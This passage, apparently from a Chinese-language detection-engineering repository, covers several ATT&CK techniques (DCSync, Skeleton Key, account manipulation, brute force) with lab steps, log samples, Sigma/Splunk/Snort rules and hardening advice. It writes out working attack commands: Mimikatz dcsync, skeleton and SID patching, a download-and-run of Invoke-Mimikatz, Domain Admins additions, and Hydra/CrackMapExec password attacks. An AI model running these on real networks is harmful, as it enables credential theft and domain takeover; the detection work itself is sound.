C:\Tools\mimikatz\mimikatz.exe Administrator ``` - **事件ID4688**: ```xml C:\Tools\mimikatz\mimikatz.exe mimikatz.exe "privilege::debug" "lsadump::cache" Administrator ``` ### 文件系统 - 文件:`C:\Temp\security.hiv`(若使用reg.exe导出) ## 检测规则/思路 ### 检测方法 1. **日志监控**: - Sysmon事件ID13:检测`HKLM\SECURITY\Cache`注册表访问。 - Sysmon事件ID1:监控`mimikatz.exe`或`reg.exe`异常执行。 - Windows事件ID4656:捕获注册表`SECURITY\Cache`访问(需启用审计)。 2. **文件监控**: - 审计`C:\Temp\`或`%temp%`的`.hiv`文件创建。 - 监控`.hiv`文件的异常传输。 3. **行为分析**: - 检测非管理员用户以SYSTEM权限访问注册表。 - 监控短时间内多次注册表`Cache`键访问。 4. **网络监控**: - 捕获`.hiv`文件传输(SMB 445/TCP)。 5. **关联分析**: - 结合事件ID4673(SeDebugPrivilege调用),检测Mimikatz执行。 - 监控后续密码破解工具(如hashcat)运行。 ### Sigma规则 #### 规则一:Mimikatz提取DCC2哈希 ```yaml title: Mimikatz提取DCC2哈希检测 id: n4o5p6q7-8r9s-0t1u-iv0j-7k8l9m0n1o2p status: stable description: 检测Mimikatz访问注册表缓存提取DCC2哈希 references: - https://attack.mitre.org/techniques/T1003/005/ tags: - attack.credential_access - attack.t1003.005 logsource: product: windows category: registry_event detection: selection: EventID: 13 TargetObject|contains: '\SECURITY\Cache' Image|endswith: - '\mimikatz.exe' - '\reg.exe' condition: selection fields: - EventID - TargetObject - Image - User falsepositives: - 管理员合法注册表操作 level: high ``` #### 规则二:异常Mimikatz进程 ```yaml title: Mimikatz异常进程检测 id: o5p6q7r8-9s0t-1u2v-jw1k-8l9m0n1o2p3q status: stable description: 检测Mimikatz执行lsadump::cache命令 references: - https://attack.mitre.org/techniques/T1003/005/ tags: - attack.credential_access - attack.t1003.005 logsource: product: windows category: process_creation detection: selection: EventID|in: - 4688 - 1 Image|endswith: '\mimikatz.exe' CommandLine|contains: 'lsadump::cache' condition: selection fields: - EventID - Image - CommandLine - User falsepositives: - 安全测试工具使用 level: critical ``` ### Splunk规则 ```spl index=sysmon EventCode=13 TargetObject="*\SECURITY\Cache*" (Image="*mimikatz.exe" OR Image="*reg.exe") OR (EventCode IN (1,4688) Image="*mimikatz.exe" CommandLine="*lsadump::cache*") | fields EventCode,TargetObject,Image,CommandLine,User ``` 规则说明: - 检测Mimikatz或reg.exe访问`SECURITY\Cache`注册表。 - 聚焦`lsadump::cache`命令,降低误报。 ## 防御建议 1. **权限控制**: - 限制`SeDebugPrivilege`权限,仅授权必要管理员。 - 禁止非管理员访问`HKEY_LOCAL_MACHINE\SECURITY`。 2. **日志监控**: - 部署Sysmon,启用事件ID1、13。 - 启用注册表审计,监控`SECURITY\Cache`访问。 - 使用SIEM关联Mimikatz和注册表操作。 3. **凭据保护**: - 减少缓存凭据数量(组策略:计算机配置 > 管理模板 > 系统 > 登录 > 缓存的登录次数)。 - 启用Credential Guard,保护注册表凭据。 4. **工具限制**: - 使用AppLocker限制`mimikatz.exe`和`reg.exe`非预期执行。 - 监控hashcat等破解工具运行。 5. **网络防护**: - 限制`.hiv`文件传输(SMB 445/TCP)。 - 部署IDS/IPS,检测异常注册表导出。 ## 参考推荐 - MITRE ATT&CK T1003.005: - MSCache2算法: - Mimikatz MSCache解析: - MSCache破解: - Mimikatz文档: - Sysmon配置: ================================================ FILE: Windows/08凭证访问/T1003.006-Win-Dcsysnc-凭证转储.md ================================================ # T1003.006-Win-基于DCSync凭证获取 ## 描述 DCSync(MITRE ATT&CK T1003.006)是一种凭据转储技术,攻击者通过滥用Windows域控制器的目录复制服务远程协议(MS-DRSR),模拟域控制器(DC)行为,提取Active Directory(AD)中的密码数据(如NTLM哈希、Kerberos票据)。此技术利用`GetNCChanges`函数请求AD复制数据,包括高价值账户(如KRBTGT、Administrator)的凭据哈希,可用于创建黄金票据(Golden Ticket)或执行票据传递攻击(Pass-the-Ticket)。DCSync攻击需要高权限(如Administrators、Domain Admins、Enterprise Admins或具有“复制目录更改”权限的账户),通常在杀伤链后期使用,常见于Mimikatz的`lsadump::dcsync`模块。 ![img](https://s2.ax1x.com/2019/09/24/uk1Q6x.png) ### DCsync攻击原理 一般来说,DCSYNC攻击的工作方式如下: 1. 发现域控制器以请求复制。 2. 使用[GetNCChanges](https://wiki.samba.org/index.php/DRSUAPI) 函数请求用户复制 。 3. DC将复制数据返回给请求者,包括密码哈希值。 ![img](https://s2.ax1x.com/2019/09/24/uk1ttH.gif) ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2019(dc.abcc.org) - 域内主机:Windows 10 - 工具:Mimikatz、PowerShell(Invoke-Mimikatz) - 要求:域管理员权限(Domain Admins)、域环境(abcc.org)、启用Windows安全日志审计 - 用户:Administrator(测试账户) ### 测试准备 1. 确认域管理员权限: ```cmd whoami /groups ``` - 确保包含`Domain Admins`组。 2. 启用安全日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 账户管理、对象访问 > 启用成功和失败审计。 3. 下载Mimikatz: - URL: - 放置于域内主机(C:\Tools\mimikatz)。 4. 下载Invoke-Mimikatz(PowerShell): - URL: - 保存至本地(C:\Tools\Invoke-Mimikatz.ps1)。 5. 确保域内主机与域控制器网络连通。 ### 测试步骤 1. **使用Mimikatz导出所有用户哈希**(域内主机): ```cmd cd C:\Tools\mimikatz mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:abcc.org /all /csv" exit ``` - 输出示例: ``` User,Domain,NTLM Administrator,ABCC,31d6cfe0d16ae931b73c59d7e0c089c0 krbtgt,ABCC,aad3b435b51404eeaad3b435b51404ee ``` 2. **使用Mimikatz导出Administrator哈希**: ```cmd mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:abcc.org /user:Administrator /csv" exit ``` - 输出示例: ``` User,Domain,NTLM Administrator,ABCC,31d6cfe0d16ae931b73c59d7e0c089c0 ``` 3. **使用PowerShell Invoke-Mimikatz导出krbtgt哈希**: ```powershell Ivoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt /domain:abcc.org"' ``` - 输出示例: ``` * Username : krbtgt * Domain : ABCC * NTLM : aad3b435b51404eeaad3b435b51404ee ``` ## 检测日志 ### 数据来源 - **Windows安全日志**(域控制器): - 事件ID4662:对象操作(捕获复制权限访问) - 事件ID4688:进程创建(mimikatz.exe或powershell.exe) - 事件ID4673:敏感权限调用(如SeDebugPrivilege) - **Sysmon日志**: - 事件ID1:进程创建(mimikatz.exe、powershell.exe) - 事件ID3:网络连接(与域控制器389/TCP、445/TCP的通信) - **网络流量**: - 捕获MS-DRSR协议流量(LDAP 389/TCP、RPC 135/TCP) - 监控异常的GetNCChanges请求 - **PowerShell日志**: - 事件ID4104:脚本块记录(Invoke-Mimikatz执行) ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2019(dc.abcc.org) - 域内主机:Windows 10 - 工具:Mimikatz、Invoke-Mimikatz - 用户:Administrator(Domain Admins成员) - 域:abcc.org ### 复现步骤 1. **本地运行Mimikatz**(域内主机): ```cmd cd C:\Tools\mimikatz mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:abcc.org /user:krbtgt /csv" exit ``` - 输出: ``` User,Domain,NTLM krbtgt,ABCC,aad3b435b51404eeaad3b435b51404ee ``` 2. **远程运行Invoke-Mimikatz**(域内主机): ```powershell Ivoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -OutFile C:\Tools\Invoke-Mimikatz.ps1 Import-Module C:\Tools\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt /domain:abcc.org"' ``` - 输出: ``` * Username : krbtgt * Domain : ABCC * NTLM : aad3b435b51404eeaad3b435b51404ee ``` 3. **验证日志**: - 检查域控制器事件ID4662(对象操作,{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2})。 - 检查Sysmon事件ID1(mimikatz.exe或powershell.exe)。 ## 测试留痕 ### Windows安全日志 - **事件ID4662**: ```xml Directory Service {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} Control Access Administrator ``` - **事件ID4688**: ```xml C:\Tools\mimikatz\mimikatz.exe mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:abcc.org /all /csv" exit Administrator ``` ### Sysmon日志 - **事件ID1**: ```xml C:\Tools\mimikatz\mimikatz.exe mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:abcc.org /all /csv" exit ABCC\Administrator ``` - **事件ID3**(网络连接): ```xml C:\Tools\mimikatz\mimikatz.exe 192.168.1.10 389 ``` ## 检测规则/思路 ### 检测方法 1. **日志监控**: - 监控事件ID4662,检测`{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}`(复制目录更改)或`{89e95b76-444d-4c62-991a-0facbeda640c}`(全部复制)。 - 监控事件ID4688,捕获`mimikatz.exe`或`powershell.exe`的异常命令行(如`lsadump::dcsync`)。 - 监控事件ID4673,检测`SeDebugPrivilege`调用。 2. **网络监控**: - 捕获LDAP(389/TCP)或RPC(135/TCP)流量,检测异常的GetNCChanges请求。 - 示例Snort规则: ```snort alert tcp any any -> any 389 (msg:"DCSync LDAP GetNCChanges Attempt"; content:"GetNCChanges"; sid:1000005;) ``` 3. **行为分析**: - 检测非域控制器账户执行复制操作。 - 监控短时间内多个账户的哈希提取请求。 4. **Sysmon增强**: - 事件ID1:监控Mimikatz或PowerShell进程。 - 事件ID3:捕获与域控制器的异常连接。 ### Sigma规则 ```yaml title: DCSync复制操作检测 id: m3n4o5p6-7q8r-9s0t-hu9i-6j7k8l9m0n1o status: stable description: 检测Mimikatz或其他工具执行DCSync的复制操作 references: - https://attack.mitre.org/techniques/T1003/006/ - https://yojimbosecurity.ninja/dcsync/ tags: - attack.credential_access - attack.t1003.006 logsource: product: windows service: security detection: selection: EventID: 4662 ObjectType: 'Directory Service' Accesses: 'Control Access' Properties|contains: - '{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}' - '{89e95b76-444d-4c62-991a-0facbeda640c}' filter: SubjectUserName|endswith:'$' condition: selection and not filter fields: - EventID - SubjectUserName - ObjectType - Properties falsepositives: - 合法域控制器复制操作 level: high ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" EventCode=4662 ObjectType="Directory Service" Accesses="Control Access" Properties IN ("*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*","*89e95b76-444d-4c62-991a-0facbeda640c*") NOT SubjectUserName="*$" | fields EventCode,SubjectUserName,ObjectType,Properties ``` 规则说明: - 检测DCSync的复制操作,聚焦事件ID4662的特定属性。 - 排除域控制器账户(以$结尾),降低误报。 ## 防御建议 1. **权限管理**: - 最小化“复制目录更改”和“全部复制”权限,仅授权必要账户。 - 定期审计Administrators、Domain Admins、Enterprise Admins成员。 2. **日志监控**: - 启用事件ID4662、4688、4673审计。 - 部署Sysmon,监控Mimikatz和PowerShell行为。 - 使用SIEM关联复制操作和异常进程。 3. **网络防护**: - 限制LDAP(389/TCP)和RPC(135/TCP)访问,仅允许域控制器通信。 - 部署IDS/IPS,检测GetNCChanges异常请求。 4. **凭据保护**: - 使用分层账户模型,限制高权限账户登录非域控制器系统。 - 启用Credential Guard,保护KRBTGT等账户哈希。 5. **主动防御**: - 部署诱捕账户,监控异常复制操作。 - 使用EDR工具检测Mimikatz或PowerShell异常行为。 ## 参考推荐 - MITRE ATT&CK T1003.006: - DCSync介绍: - 域渗透-DCSync: - DCSync检测: - MS-DRSR协议: - Invoke-Mimikatz: - Active Directory复制: ================================================ FILE: Windows/08凭证访问/T1098-win-万能密码.md ================================================ # T1098-Win-万能密码 ## 描述 万能密码(Skeleton Key)是一种账户操作技术(MITRE ATT&CK T1098),通过在域控制器上注入恶意补丁(如使用Mimikatz的`misc::skeleton`功能),为域内所有用户账户设置一个通用密码(如默认的“mimikatz”),允许攻击者以任意域用户身份进行身份验证,而无需知道原始密码。此技术可实现持久化访问、权限提升和横向移动,绕过Kerberos或NTLM认证机制。执行Skeleton Key攻击需要域控制器上的管理员权限,攻击者通常通过已窃取的域管理员凭据或漏洞(如MS14-068)实施。补丁(如KB3011780)可修复相关漏洞,但未修补的系统极易受攻击。 ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2008 R2(dc.xiaomi.org,未打补丁KB3011780) - 域内主机:Windows 7 - 工具:Mimikatz(x64) - 要求:域管理员权限、域环境(xiaomi.org)、启用Windows安全日志审计 - 用户:普通用户(xiaomi,密码user123)、管理员(administrator,密码admin.098) ### 测试准备 1. 确认域管理员权限: ```cmd whoami /all ``` - 确保具有Domain Admins权限。 2. 启用安全日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 账户管理、进程跟踪 > 启用成功和失败审计。 3. 下载Mimikatz: - URL: - 放置于域控制器(C:\Tools\mimikatz_trunk\x64)。 4. 验证域控制器补丁状态: ```powershell Get-HotFix -Id KB3011780 ``` - 输出为空表示未打补丁。 5. 确保域内主机与域控制器网络连通。 ### 测试步骤 1. **验证普通用户权限**(域内主机): ```cmd dir \\dc.xiaomi.org\c$ ``` - 预期输出:`Access is denied.` 2. **使用管理员原始密码验证**(域内主机): ```cmd net use \\dc.xiaomi.org\ipc$ "admin.098" /user:xiaomi\administrator dir \\dc.xiaomi.org\c$ ``` - 预期输出:列出C$目录内容。 3. **注入Skeleton Key**(域控制器,管理员权限): ```cmd cd C:\Tools\mimikatz_trunk\x64 mimikatz.exe "privilege::debug" "misc::skeleton" exit ``` - 预期输出: ``` Privilege '20' OK [KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK ``` 4. **使用Skeleton Key登录**(域内主机): ```cmd net use \\dc.xiaomi.org\ipc$ "mimikatz" /user:xiaomi\administrator dir \\dc.xiaomi.org\c$ ``` - 预期输出:列出C$目录内容。 5. **清理网络连接**: ```cmd net use \\dc.xiaomi.org\ipc$ /del /y ``` ### 参考资源 - Mimikatz Skeleton Key: - 内网渗透技术: ## 检测日志 ### 数据来源 - **Windows安全日志**(域控制器): - 事件ID4673:调用敏感权限(如SeDebugPrivilege) - 事件ID4688:进程创建(mimikatz.exe) - 事件ID4689:进程退出 - 事件ID4624:异常登录(使用Skeleton Key) - **Sysmon日志**: - 事件ID1:进程创建(mimikatz.exe) - 事件ID7:映像加载(lsasrv.dll补丁) - **PowerShell日志**: - 事件ID4104:脚本块记录(若通过PowerShell执行Mimikatz) - **网络流量**: - 捕获Kerberos(88/TCP)或SMB(445/TCP)流量,关注多用户使用相同密码的登录尝试 ### 日志示例 - **事件ID4673**(调用SeDebugPrivilege): ```xml SeDebugPrivilege C:\Tools\mimikatz_trunk\x64\mimikatz.exe Administrator XIAOMI ``` - **事件ID4688**(进程创建): ```xml C:\Tools\mimikatz_trunk\x64\mimikatz.exe mimikatz.exe "privilege::debug" "misc::skeleton" exit Administrator ``` - **事件ID4624**(异常登录): ```xml administrator XIAOMI 3 NTLM CLIENT-PC ``` ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2008 R2(dc.xiaomi.org) - 域内主机:Windows 7 - 工具:Mimikatz(x64) - 用户:普通用户(xiaomi,密码user123)、管理员(administrator,密码admin.098) - 域:xiaomi.org ### 复现步骤 1. **验证普通用户权限**: ```cmd dir \\dc.xiaomi.org\c$ ``` - 输出:`Access is denied.` 2. **使用管理员原始密码验证**: ```cmd net use \\dc.xiaomi.org\ipc$ "admin.098" /user:xiaomi\administrator dir \\dc.xiaomi.org\c$ ``` - 输出:列出C$目录内容。 3. **注入Skeleton Key**: ```cmd cd C:\Tools\mimikatz_trunk\x64 mimikatz.exe "privilege::debug" "misc::skeleton" exit ``` - 输出: ``` Privilege '20' OK [KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK ``` 4. **使用Skeleton Key登录**: ```cmd net use \\dc.xiaomi.org\ipc$ "mimikatz" /user:xiaomi\administrator dir \\dc.xiaomi.org\c$ ``` - 输出:列出C$目录内容。 5. **清理连接**: ```cmd net use \\dc.xiaomi.org\ipc$ /del /y ``` ## 测试留痕 ### Windows安全日志 - **事件ID4673**: ```xml SeDebugPrivilege C:\Tools\mimikatz_trunk\x64\mimikatz.exe Administrator ``` - **事件ID4688**: ```xml C:\Tools\mimikatz_trunk\x64\mimikatz.exe mimikatz.exe "privilege::debug" "misc::skeleton" exit Administrator ``` - **事件ID4624**: ```xml administrator XIAOMI 3 NTLM CLIENT-PC ``` ### Sysmon日志 - **事件ID1**: ```xml C:\Tools\mimikatz_trunk\x64\mimikatz.exe mimikatz.exe "privilege::debug" "misc::skeleton" exit XIAOMI\Administrator ``` - **事件ID7**: ```xml C:\Windows\System32\lsasrv.dll C:\Tools\mimikatz_trunk\x64\mimikatz.exe ``` ## 检测规则/思路 ### 检测方法 1. **日志监控**: - 监控事件ID4688/1,检测`mimikatz.exe`或`misc::skeleton`命令执行。 - 监控事件ID4673,捕获`SeDebugPrivilege`调用。 - 监控事件ID4624,关注高权限账户的异常登录(LogonType 3,NTLM/Kerberos)。 2. **行为分析**: - 检测多用户使用相同密码(如“mimikatz”)登录高权限账户。 - 监控短时间内多个账户的异常登录模式。 3. **Sysmon增强**: - 事件ID1:监控Mimikatz进程创建。 - 事件ID7:监控`lsasrv.dll`加载,捕获KDC补丁行为。 4. **网络监控**: - 捕获Kerberos(88/TCP)或SMB(445/TCP)流量,检测多用户使用相同凭据的模式。 - 示例Snort规则: ```snort alert tcp any any -> any 445 (msg:"Skeleton Key SMB Login Attempt"; content:"mimikatz"; sid:1000004;) ``` ### Sigma规则 #### 规则一:Mimikatz Skeleton Key注入 ```yaml title: Mimikatz Skeleton Key注入检测 id: f6a7b8c9-0d1e-4f7a-ag2b-9c0d1e2f3c4d status: stable description: 检测Mimikatz执行misc::skeleton注入Skeleton Key的行为 references: - https://attack.mitre.org/techniques/T1098/ - https://adsecurity.org/?p=551 tags: - attack.persistence - attack.t1098 logsource: product: windows category: process_creation detection: selection: EventID|in: - 4688 - 1 Image|endswith: '\mimikatz.exe' CommandLine|contains: 'misc::skeleton' condition: selection fields: - ComputerName - User - CommandLine - Image falsepositives: - 安全研究或合法测试 level: critical ``` #### 规则二:Skeleton Key异常登录 ```yaml title: Skeleton Key异常登录检测 id: g7b8c9d0-1e2f-4g8b-bh3c-0d1e2f3g4d5e status: stable description: 检测使用Skeleton Key(如默认密码mimikatz)的异常登录 references: - https://attack.mitre.org/techniques/T1098/ tags: - attack.persistence - attack.t1098 logsource: product:windows service:security detection: selection_4624: EventID: 4624 LogonType: 3 AuthenticationPackageName|in: - NTLM - Kerberos TargetUserName|in: - 'administrator' - 'Domain Admins' selection_4673: EventID: 4673 PrivilegeName: 'SeDebugPrivilege' timeframe: 5s condition: selection_4624 and selection_4673 fields: - EventID - TargetUserName - TargetDomainName - WorkstationName - PrivilegeName falsepositives: - 管理员合法高权限登录 level: high ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4688 NewProcessName="*mimikatz.exe" CommandLine="*misc::skeleton*" OR (EventCode=4624 LogonType=3 AuthenticationPackageName IN ("NTLM","Kerberos") TargetUserName IN ("administrator","Domain Admins") AND EventCode=4673 PrivilegeName="SeDebugPrivilege")) | transaction WorkstationName maxspan=5s | fields EventCode,TargetUserName,WorkstationName,CommandLine,PrivilegeName ``` 规则说明: - 检测Mimikatz执行和Skeleton Key异常登录。 - 减少误报:使用5秒时间窗口关联事件。 ## 防御建议 1. **补丁管理**: - 安装KB3011780补丁,修复MS14-068漏洞。 - 定期检查系统补丁状态。 2. **权限控制**: - 最小化域管理员账户使用。 - 限制非管理员对域控制器的远程访问(如IPC$、C$)。 3. **日志监控**: - 启用事件ID4624、4673、4688审计。 - 部署Sysmon,监控Mimikatz和`lsasrv.dll`加载。 - 使用SIEM关联异常登录和进程行为。 4. **多因素认证(MFA)**: - 为管理员账户启用MFA。 - 对高权限操作实施二次验证。 5. **主动防御**: - 部署诱捕账户,监控异常登录。 - 使用EDR工具检测Mimikatz行为。 ## 参考推荐 - MITRE ATT&CK T1098: - Mimikatz Skeleton Key分析: - Active Directory安全最佳实践: - Mimikatz文档: - 内网渗透技术: ================================================ FILE: Windows/08凭证访问/T1098-win-账户操作.md ================================================ # T1098-Win-账户操作 ## 描述 账户操作(Account Manipulation)是指攻击者通过创建、修改或删除用户账户、权限组、凭据或认证方式,以实现持久化访问、权限提升或横向移动。常见行为包括创建新账户、将用户添加到高权限组(如Domain Admins或Administrators)、更改账户密码、启用禁用账户或修改账户属性(如SID)。攻击者通常需要管理员或域管理员权限,结合工具如CMD、PowerShell或Mimikatz执行操作。此技术常用于维持对Windows系统或Active Directory域的控制。 ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2019(dc.lab.local) - 域内主机:Windows 10 - 工具:CMD、PowerShell、Mimikatz - 要求:管理员或域管理员权限、启用Windows安全日志审计 - 测试账户:testuser,密码Test@123 ### 测试准备 1. 确认权限: ```cmd whoami /all ``` - 确保具有Administrators或Domain Admins权限。 2. 启用账户管理审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 账户管理 > 启用成功和失败审计。 3. 准备测试账户和组(如testuser、Domain Admins)。 ### 测试步骤 1. **创建本地用户**: ```cmd net user testuser Test@123 /add ``` 2. **添加用户到本地管理员组**: ```cmd net localgroup Administrators testuser /add ``` 3. **创建域用户**: ```cmd net user testuser Test@123 /add /domain ``` 4. **添加用户到域管理员组**: ```cmd net group "Domain Admins" testuser /add /domain ``` 5. **使用PowerShell修改用户密码**: ```powershell Set-ADAccountPassword -Identity testuser -NewPassword (ConvertTo-SecureString "NewPass@456" -AsPlainText -Force) ``` 6. **使用Mimikatz修改账户SID权限**: ```cmd mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sid:S-1-5-21-1473643419-774954089-2222329127-1000 /group:Domain Admins" exit ``` ### 参考资源 - Mimikatz文档: - Windows账户管理命令: ## 检测日志 ### 数据来源 - **Windows安全日志**: - 事件ID4720:用户账户创建 - 事件ID4722:用户账户启用 - 事件ID4728:用户添加到域安全组 - 事件ID4732:用户添加到本地安全组 - 事件ID4738:用户账户更改(如密码重置) - 事件ID4688:进程创建(记录命令行) - **Sysmon日志**: - 事件ID1:进程创建(监控net.exe、powershell.exe、mimikatz.exe) - 事件ID13:注册表修改(SAM或SID相关键) - **PowerShell日志**: - 事件ID4103/4104:PowerShell脚本块和命令执行 - **网络流量**: - 监控与域控制器(389/TCP、445/TCP)的账户管理操作 ### 日志示例 - **事件ID4720**(用户账户创建): ```xml testuser LAB admin LAB ``` - **事件ID4728**(用户添加到域安全组): ```xml CN=testuser,CN=Users,DC=lab,DC=local Domain Admins admin ``` - **事件ID4738**(用户账户更改): ```xml testuser LAB Password admin ``` - **事件ID4688**(进程创建): ```xml C:\Windows\System32\net.exe net user testuser Test@123 /add admin ``` ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2019(dc.lab.local) - 域内主机:Windows 10 - 用户:testuser,密码Test@123 - 权限:域管理员或本地管理员 ### 复现步骤 1. **创建本地用户**: ```cmd net user testuser Test@123 /add ``` - 输出:`命令成功完成。` 2. **添加到本地管理员组**: ```cmd net localgroup Administrators testuser /add ``` - 输出:`命令成功完成。` 3. **创建域用户并添加到Domain Admins**: ```cmd net user testuser Test@123 /add /domain net group "Domain Admins" testuser /add /domain ``` - 输出:`命令成功完成。` 4. **使用PowerShell修改密码**: ```powershell Set-ADAccountPassword -Identity testuser -NewPassword (ConvertTo-SecureString "NewPass@456" -AsPlainText -Force) ``` 5. **验证日志**: - 检查域控制器事件ID4720、4728、4738。 - 检查本地主机事件ID4732。 ## 测试留痕 ### Windows安全日志 - **事件ID4720**: ```xml testuser LAB admin LAB ``` - **事件ID4728**: ```xml CN=testuser,CN=Users,DC=lab,DC=local Domain Admins admin ``` - **事件ID4732**: ```xml testuser Administrators admin ``` - **事件ID4738**: ```xml testuser LAB Password admin ``` ### Sysmon日志 - **事件ID1**(进程创建): ```xml C:\Windows\System32\net.exe net user testuser Test@123 /add LAB\admin ``` ## 检测规则/思路 ### 检测方法 1. **日志监控**: - 监控事件ID4720、4728、4732、4738,检测非预期账户创建或高权限组修改。 - 检查事件ID4688,分析`net.exe`、`powershell.exe`或`mimikatz.exe`的命令行。 2. **行为分析**: - 检测非管理员用户执行账户操作。 - 监控短时间内多次账户创建或权限更改。 3. **Sysmon增强**: - 事件ID1:监控`net.exe`、`powershell.exe`命令行。 - 事件ID13:监控SAM注册表键(如HKLM\SAM)更改。 4. **关联分析**: - 结合事件ID4624(登录成功)与4720/4728,检测新账户的异常登录。 - 使用SIEM关联多事件,识别账户操作链。 ### Sigma规则 #### 规则一:Net.exe账户操作 ```yaml title: Net.exe账户操作检测 id: d4e5f6a7-8b9c-4d5e-be0f-7a8b9c0d1e2a status: stable description: 检测使用net.exe或net1.exe创建用户或添加用户到权限组 references: - https://attack.mitre.org/techniques/T1098/ tags: - attack.persistence - attack.t1098 logsource: product: windows category: process_creation detection: selection_user: EventID|in: - 4688 - 1 Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains|all: - 'user' - '/add' selection_group: EventID|in: - 4688 - 1 Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains: - 'group' - '/add' - 'Administrators' - 'Domain Admins' condition: selection_user or selection_group fields: - ComputerName - User - CommandLine - Image falsepositives: - 管理员合法账户管理 level: medium ``` #### 规则二:账户创建或修改 ```yaml title: 账户创建或权限修改检测 id: e5f6a7b8-9c0d-4e6f-bf1a-8c9d0e1f2b3c status: stable description: 检测用户账户创建、权限组修改或密码更改 references: - https://attack.mitre.org/techniques/T1098/ tags: - attack.persistence - attack.t1098 logsource: product: windows service: security detection: selection_create: EventID: 4720 TargetUserName|notcontains: - '$' - 'krbtgt' selection_group: EventID|in: - 4728 - 4732 GroupName|in: - 'Administrators' - 'Domain Admins' selection_modify: EventID: 4738 ChangedAttributes|contains: 'Password' condition: selection_create or selection_group or selection_modify fields: - EventID - TargetUserName - GroupName - SubjectUserName falsepositives: - 管理员合法账户操作 level: high ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4720 TargetUserName!="$*" TargetUserName!="krbtgt" OR EventCode IN (4728,4732) GroupName IN ("Administrators","Domain Admins") OR EventCode=4738 ChangedAttributes="*Password*" OR EventCode=4688 NewProcessName="*net.exe" CommandLine="*user*/add*" OR EventCode=4688 NewProcessName="*net.exe" CommandLine="*group*/add*") | fields EventCode,TargetUserName,GroupName,SubjectUserName,NewProcessName,CommandLine ``` 规则说明: - 检测账户创建、组修改、密码更改和net.exe操作。 - 减少误报:排除服务账户,结合上下文分析。 ## 防御建议 1. **权限控制**: - 最小化管理员权限,仅授权必要用户。 - 限制对SAM数据库和组策略对象的访问(通过GPO)。 2. **日志监控**: - 启用事件ID4720、4728、4732、4738、4688审计。 - 部署Sysmon,监控进程和注册表行为。 - 使用SIEM关联账户操作事件。 3. **多因素认证(MFA)**: - 为管理员账户启用MFA。 - 对高权限操作(如组修改)实施二次验证。 4. **安全策略**: - 定期审计用户账户和权限组,移除不必要的高权限账户。 - 使用AppLocker或WDAC限制`net.exe`和PowerShell非管理员执行。 5. **主动防御**: - 部署诱捕账户(HoneyAccounts),监控异常操作。 - 使用EDR工具检测Mimikatz或异常进程行为。 ## 参考推荐 - MITRE ATT&CK T1098: - Active Directory安全最佳实践: - Mimikatz文档: - Windows账户管理命令: - Sysmon配置指南: ================================================ FILE: Windows/08凭证访问/T1110-暴力破解.md ================================================ # T1110-暴力破解 ## 描述 暴力破解(Brute Force,MITRE ATT&CK T1110)是指攻击者在未知账号密码或仅拥有密码哈希的情况下,通过系统性猜测密码尝试访问目标账号。攻击者可能通过凭据导出(T1003)获取密码哈希,若无法直接使用传递哈希(Pass-the-Hash),则利用密码破解工具(如Hashcat)或预计算的彩虹表破解哈希。破解通常在攻击者控制的外部系统上进行,以规避目标网络的检测。攻击者也可能直接尝试多种密码组合登录目标系统,但此方法风险较高,可能触发账号锁定或认证失败告警。为降低锁定风险,攻击者可能采用密码喷洒(Password Spraying),即使用单一或少量常见密码(如“Password01”)尝试登录多个账号。此技术常用于初始访问或权限提升。 ## 测试案例 ### 测试环境 - 系统:Windows Server 2019(域控制器,dc.abcc.org)或Windows 10 - 工具:Hydra、CrackMapExec、自定义PowerShell脚本 - 要求:域环境(abcc.org,可选)、目标账号列表、启用Windows安全日志审计 - 用户:测试账号(user1、user2,密码未知) - 日志:Windows安全日志(事件ID4625、4624)、Sysmon(事件ID1) ### 测试准备 1. 确认目标账号: - 获取账号列表(如user1、user2): ```cmd net user /domain ``` 2. 启用安全日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 登录事件 > 启用成功和失败审计。 - 安装Sysmon: - 配置:启用事件ID1(进程创建)。 3. 下载暴力破解工具: - Hydra: - CrackMapExec: - 放置于测试系统(C:\Tools\)。 4. 准备密码字典: - 下载常见密码列表: - 保存至本地(C:\Tools\passwords.txt)。 5. 确认网络连通性: ```cmd ping dc.abcc.org ``` ### 测试步骤 1. **使用Hydra暴力破解SMB服务**: ```cmd cd C:\Tools\hydra hydra -L C:\Tools\users.txt -P C:\Tools\passwords.txt smb://dc.abcc.org ``` - 输出示例: ``` [445][smb] host: dc.abcc.org login: user1 password: Password123 ``` 2. **使用CrackMapExec进行密码喷洒**: ```cmd crackmapexec smb dc.abcc.org -u C:\Tools\users.txt -p Password123 ``` - 输出示例: ``` SMB dc.abcc.org 445 DC01 [+] ABCC\user1:Password123 ``` 3. 